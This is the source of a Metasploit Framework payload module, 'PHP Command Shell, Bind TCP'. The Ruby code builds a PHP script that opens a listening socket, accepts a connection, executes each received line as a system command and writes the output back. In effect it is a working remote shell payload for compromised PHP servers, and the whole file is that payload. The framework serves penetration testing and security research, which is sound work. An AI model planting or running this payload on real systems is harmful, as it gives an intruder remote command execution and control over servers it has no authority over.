metasploit-framework/modules/payloads/singles/php/bind_php.rb

87 lines
2.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/php'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Php
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'PHP Command Shell, Bind TCP (via PHP)',
'Description' => 'Listen for a connection and spawn a command shell via php',
'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# PHP Bind Shell
#
def php_bind_shell
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$port=#{datastore['LPORT']};
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,#{dis})){
$sock=@$scl($port);
}else{
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,0,$port);
$ret=@socket_listen($sock,5);
}
$msgsock=@socket_accept($sock);
@socket_close($sock);
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
{
$o = '';
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if(FALSE===$c){break;}
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
}
@socket_write($msgsock,$o,strlen($o));
}
@socket_close($msgsock);
END_OF_PHP_CODE
return shell
end
#
# Constructs the payload
#
def generate
return super + php_bind_shell
end
end